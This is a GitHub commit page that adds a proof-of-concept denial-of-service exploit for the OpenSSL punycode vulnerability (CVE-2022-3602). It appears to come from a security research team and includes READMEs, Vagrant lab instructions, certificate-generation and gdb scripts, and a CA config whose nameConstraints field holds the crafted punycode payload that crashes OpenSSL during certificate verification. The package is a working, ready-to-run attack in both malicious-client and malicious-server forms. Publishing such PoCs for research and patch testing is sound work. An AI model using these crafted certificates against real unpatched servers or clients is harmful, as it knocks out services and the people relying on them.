-
Notifications
You must be signed in to change notification settings - Fork 58
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add OpenSSL punycode vulnerability PoC
- Loading branch information
1 parent
2630484
commit d25e1ac
Showing
40 changed files
with
1,020 additions
and
0 deletions.
There are no files selected for viewing
59 changes: 59 additions & 0 deletions
59
proof-of-concept-exploits/openssl-punycode-vulnerability/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,59 @@ | ||
# OpenSSL punycode vulnerability (CVE-2022-3602) | ||
|
||
This folder contains a proof of concept DoS exploit for the OpenSSL high severity (initially reported as critical) punycode vulnerability tracked as CVE-2022-3602. In this PoC we have a ready-to-use [Vagrant box](#using-vagrant), and a set of [bash scripts](#compile-it-yourself) to help you combile and run the two attack scenarios. | ||
|
||
![openssl vagrant poc](openssl-vagrant-poc.gif "openssl vagrant poc") | ||
|
||
|
||
## Using Vagrant | ||
|
||
This Vagrant configuration will launch the vagrant environment with: | ||
* A Linux Ubuntu box containing the OpenSSL server with a malicious certificate | ||
* A Windows box with the vulnerable OpenSSL client | ||
|
||
|
||
1. Run vagrant | ||
``` | ||
vagrant up | ||
``` | ||
|
||
|
||
2. Initiate RDP access to the windows VM | ||
|
||
``` | ||
vagrant rdp windows | ||
``` | ||
|
||
3. Use any RDP client to connect to the windows VM, using the credentials `vagrant` / `vagrant` | ||
|
||
4. Open the windows command line and navigate to the PoC directory | ||
|
||
``` | ||
cd C:\Users\vagrant\Documents\WindowsCrash\ | ||
``` | ||
|
||
We've compiled openssl.exe for you using the official instructions [here](https://github.com/openssl/openssl/blob/master/NOTES-WINDOWS.md#native-builds-using-visual-c++) | ||
|
||
|
||
5. Connect to the malicious server | ||
|
||
``` | ||
openssl.exe s_client -connect 192.168.56.3:3000 | ||
``` | ||
|
||
As you will see, this will cause openssl.exe to crash when verifying the malicious certificate. You can see details about the crash in the event viewer. | ||
|
||
## Compile it yourself | ||
|
||
We provided a set of easy-to-uuse bash scripts to generate the certificate and run OpenSSL for both scenarios: | ||
|
||
* Malicious client sending crafted certificate to a server which verifies client certificates chain [here](./malicious_client/) | ||
* Malicious server having serving malicious crafted certificates chain to client. Clients will always checks for certificates chain [here](./malicious_server/) | ||
|
||
## Acknowledgements | ||
|
||
- Eslam Salem | ||
- Frederic Baguelin | ||
- Nick Frichette | ||
- Jeremy Fox | ||
|
46 changes: 46 additions & 0 deletions
46
...f-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
Several scripts are available to ease the generation of client / server certificates so as to running client / server commands for testing purpose with gdb. | ||
|
||
# run.sh | ||
|
||
## run_vuln_server | ||
|
||
This is the main command that can bootstrap all the environment. | ||
|
||
```run.sh run_vuln_server``` | ||
|
||
1. Fetch OpenSSL source code, statically compile it with debug symbols. It also adds CFLAGS to generate expand files, useful to generate call graph. | ||
2. Build server certificate chains | ||
3. Build client certificate chains | ||
4. start server gdb session with previously openssl binary compiled at step1. Gdb commands will: | ||
* set a breakpoint on the vulnerable function | ||
* run the server command | ||
|
||
Finally as displayed in the script, you just need to trigger the server's vulnerable function with the following command: | ||
|
||
``` | ||
cd client && ./run_client.sh | ||
``` | ||
|
||
## compile | ||
|
||
```run.sh compile``` | ||
|
||
Fetches OpenSSL source code, statically compiles it with debug symbols. It also adds CFLAGS to generate expand files, useful to generate call graph. | ||
|
||
## build_client | ||
|
||
```run.sh build_client``` | ||
|
||
Rebuilds the client certificate chains. Useful if you updated the client configuration and just want to use the new certs. | ||
|
||
## build_server | ||
|
||
```run.sh build_server``` | ||
|
||
Behaves like the previous command but server related. | ||
|
||
## clean / clean_server / clean_client | ||
|
||
```run.sh clean``` | ||
|
||
These commands will delete all files created at build step. You can clean globally by calling clean, or just for server with clean_server, just for client with clean_client |
2 changes: 2 additions & 0 deletions
2
proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/client.gdb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
#b nc_match_single | ||
r s_client -connect 127.0.0.1:3000 -key certs/client.key.pem -cert certs/client.cert.pem -CAfile certs/cacert.pem -state |
115 changes: 115 additions & 0 deletions
115
...of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/configs/ca.cnf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,115 @@ | ||
# This definition stops the following lines choking if HOME isn't | ||
# defined. | ||
HOME = . | ||
RANDFILE = $ENV::HOME/.rnd | ||
|
||
# Extra OBJECT IDENTIFIER info: | ||
#oid_file = $ENV::HOME/.oid | ||
oid_section = new_oids | ||
|
||
[ new_oids ] | ||
# Policies used by the TSA examples. | ||
tsa_policy1 = 1.2.3.4.1 | ||
tsa_policy2 = 1.2.3.4.5.6 | ||
tsa_policy3 = 1.2.3.4.5.7 | ||
|
||
#################################################################### | ||
[ ca ] | ||
default_ca = CA_default # The default ca section | ||
|
||
[ CA_default ] | ||
dir = $ENV::PWD # Where everything is kept | ||
certs = $dir/certs # Where the issued certs are kept | ||
database = $dir/index.txt # database index file. | ||
# several certs with same subject. | ||
new_certs_dir = $dir/certs # default place for new certs. | ||
certificate = $dir/certs/cacert.pem # The CA certificate | ||
serial = $dir/serial # The current serial number | ||
crlnumber = $dir/crlnumber # the current crl number | ||
# must be commented out to leave a V1 CRL | ||
private_key = $dir/private/ca.key.pem # The private key | ||
|
||
name_opt = ca_default # Subject Name options | ||
cert_opt = ca_default # Certificate field options | ||
|
||
default_days = 365 # how long to certify for | ||
default_crl_days= 30 # how long before next CRL | ||
default_md = sha256 # use SHA-256 by default | ||
preserve = no # keep passed DN ordering | ||
policy = policy_match | ||
|
||
# For the CA policy | ||
[ policy_match ] | ||
countryName = match | ||
stateOrProvinceName = match | ||
organizationName = match | ||
organizationalUnitName = optional | ||
commonName = supplied | ||
emailAddress = optional | ||
|
||
[ policy_anything ] | ||
countryName = optional | ||
stateOrProvinceName = optional | ||
localityName = optional | ||
organizationName = optional | ||
organizationalUnitName = optional | ||
commonName = supplied | ||
emailAddress = optional | ||
|
||
#################################################################### | ||
[ req ] | ||
default_bits = 2048 | ||
default_md = sha256 | ||
default_keyfile = privkey.pem | ||
distinguished_name = req_distinguished_name | ||
attributes = req_attributes | ||
x509_extensions = v3_ca # The extentions to add to the self signed cert | ||
|
||
[ req_distinguished_name ] | ||
countryName = Country Name (2 letter code) | ||
countryName_default = FR | ||
countryName_value = FR | ||
countryName_min = 2 | ||
countryName_max = 2 | ||
stateOrProvinceName = State or Province Name (full name) | ||
stateOrProvinceName_default = IdF | ||
stateOrProvinceName_value = IdF | ||
localityName = Locality Name (eg, city) | ||
localityName_default = Paris | ||
localityName_value = Paris | ||
0.organizationName = Organization Name (eg, company) | ||
0.organizationName_default = DataDog | ||
0.organizationName_value = DataDog | ||
organizationalUnitName = Organizational Unit Name (eg, section) | ||
organizationalUnitName_default = SecurityResearch | ||
organizationalUnitName_value = SecurityResearch | ||
commonName = Common Name (eg, your name or your server\'s hostname) | ||
commonName_max = 64 | ||
commonName_value = KraftCert | ||
emailAddress = Email Address | ||
emailAddress_max = 64 | ||
emailAddress_value = "" | ||
[ req_attributes ] | ||
challengePassword = A challenge password | ||
challengePassword_min = 4 | ||
challengePassword_max = 20 | ||
unstructuredName = An optional company name | ||
[ v3_req ] | ||
# Extensions to add to a certificate request | ||
basicConstraints = CA:FALSE | ||
keyUsage = nonRepudiation, digitalSignature, keyEncipherment | ||
[ v3_ca ] | ||
# Extensions for a typical CA | ||
subjectKeyIdentifier=hash | ||
authorityKeyIdentifier=keyid:always,issuer | ||
basicConstraints = critical,CA:true | ||
# Payload is here | ||
nameConstraints = permitted;email:xn--3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2ba@example.com | ||
[ crl_ext ] | ||
# issuerAltName=issuer:copy | ||
authorityKeyIdentifier=keyid:always |
27 changes: 27 additions & 0 deletions
27
...oncept-exploits/openssl-punycode-vulnerability/malicious_client/client/configs/client.cnf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
[ req ] | ||
distinguished_name = req_distinguished_name | ||
|
||
[ req_distinguished_name ] | ||
countryName = Country Name (2 letter code) | ||
countryName_default = FR | ||
countryName_value = FR | ||
countryName_min = 2 | ||
countryName_max = 2 | ||
stateOrProvinceName = State or Province Name (full name) | ||
stateOrProvinceName_default = IdF | ||
stateOrProvinceName_value = IdF | ||
localityName = Locality Name (eg, city) | ||
localityName_default = Paris | ||
localityName_value = Paris | ||
0.organizationName = Organization Name (eg, company) | ||
0.organizationName_default = DataDog | ||
0.organizationName_value = DataDog | ||
organizationalUnitName = Organizational Unit Name (eg, section) | ||
organizationalUnitName_default = SecurityResearch | ||
organizationalUnitName_value = SecurityResearch | ||
commonName = Common Name (eg, your name or your server\'s hostname) | ||
commonName_max = 64 | ||
commonName_value = MaliciousClientCert | ||
emailAddress = Email Address | ||
emailAddress_max = 64 | ||
emailAddress_value = "" |
11 changes: 11 additions & 0 deletions
11
...pt-exploits/openssl-punycode-vulnerability/malicious_client/client/configs/client_ext.cnf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
basicConstraints = critical,CA:false | ||
subjectKeyIdentifier = hash | ||
authorityKeyIdentifier = keyid,issuer | ||
nsCertType = client, email | ||
keyUsage = critical, nonRepudiation, digitalSignature, keyEncipherment | ||
extendedKeyUsage = clientAuth, emailProtection | ||
|
||
# Need to define subjectAltName with otherName | ||
subjectAltName = @alts | ||
[alts] | ||
otherName = 1.3.6.1.5.5.7.8.9;FORMAT:UTF8,UTF8String:测试@overflow.com |
1 change: 1 addition & 0 deletions
1
...-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/gdb_client.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
gdb ../openssl/apps/openssl -command=client.gdb |
24 changes: 24 additions & 0 deletions
24
proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/gen.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
rm -rf index.txt serial private certs | ||
touch index.txt | ||
echo 01 > serial | ||
mkdir private certs | ||
|
||
######################### | ||
# Create CA certificate # | ||
######################### | ||
|
||
# Generate private key for CA certificate | ||
openssl genrsa -out private/ca.key.pem 2048 | ||
# Generate CA certificate | ||
openssl req -new -x509 -days 3650 -config configs/ca.cnf -key private/ca.key.pem -out certs/cacert.pem | ||
|
||
############################# | ||
# Create Client certificate # | ||
############################# | ||
|
||
# Generate private key for client certificate | ||
openssl genrsa -out certs/client.key.pem 2048 | ||
# Generate CSR for client certificate | ||
openssl req -new -key certs/client.key.pem -config configs/client.cnf -out certs/client.csr | ||
# Create client certificate | ||
openssl ca -config configs/ca.cnf -extfile configs/client_ext.cnf -days 1650 -notext -batch -in certs/client.csr -out certs/client.cert.pem |
1 change: 1 addition & 0 deletions
1
...-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/run_client.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
../openssl/apps/openssl s_client -connect 127.0.0.1:3000 -key certs/client.key.pem -cert certs/client.cert.pem -CAfile certs/cacert.pem -state |
79 changes: 79 additions & 0 deletions
79
proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/run.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,79 @@ | ||
cwd=$PWD | ||
|
||
compile () { | ||
if [ ! -f $cwd/openssl/apps/openssl ]; then | ||
echo "[+] Compile debug mode version of OpenSSL 3.0.6" | ||
wget https://github.com/openssl/openssl/archive/refs/tags/openssl-3.0.6.zip | ||
unzip openssl-3.0.6.zip | ||
mv openssl-openssl-3.0.6 openssl | ||
cd openssl | ||
./Configure no-tests -debug -static && sed -i 's/^CFLAGS=.*/CFLAGS=-Wall -Og -g3 -fno-inline-functions -fdump-rtl-expand/' Makefile && make clean && make -j`nproc` | ||
else | ||
echo "[+] OpenSSL 3.0.6 already compiled: SKIP" | ||
fi | ||
} | ||
|
||
build_server () { | ||
cd $cwd/server | ||
./gen.sh | ||
} | ||
|
||
clean_server () { | ||
echo "cleaning Server certificates" | ||
rm -rf $cwd/server/certs $cwd/server/private $cwd/server/index.* $cwd/server/serial* | ||
} | ||
|
||
build_client () { | ||
cd $cwd/client | ||
./gen.sh | ||
} | ||
|
||
clean_client () { | ||
echo "cleaning Server certificates" | ||
rm -rf $cwd/client/certs $cwd/client/private $cwd/client/index.* $cwd/client/serial* | ||
} | ||
|
||
clean () { | ||
rm -rf openssl* | ||
clean_client | ||
clean_server | ||
} | ||
|
||
all () { | ||
compile | ||
build_server | ||
build_client | ||
} | ||
|
||
run_vuln_server () { | ||
compile | ||
build_server | ||
build_client | ||
echo -e "\n===================================================================================\n" | ||
echo -e " RUN MALICIOUS CLIENT\n" | ||
echo "Send crafted certificate with the following command in another term:" | ||
echo "cd $cwd/client && ./run_client.sh" | ||
echo -e "\n===================================================================================\n" | ||
cd $cwd/server | ||
./gdb_vuln_server.sh | ||
} | ||
|
||
if (test $# -eq 1); then | ||
if (test $1 = "clean"); then | ||
clean | ||
elif (test $1 = "compile"); then | ||
compile | ||
elif (test $1 = "build_server"); then | ||
build_server | ||
elif (test $1 = "build_client"); then | ||
build_client | ||
elif (test $1 = "clean_server"); then | ||
clean_server | ||
elif (test $1 = "clean_client"); then | ||
clean_client | ||
elif (test $1 = "all"); then | ||
all | ||
elif (test $1 = "run_vuln_server"); then | ||
run_vuln_server | ||
fi | ||
fi |
Oops, something went wrong.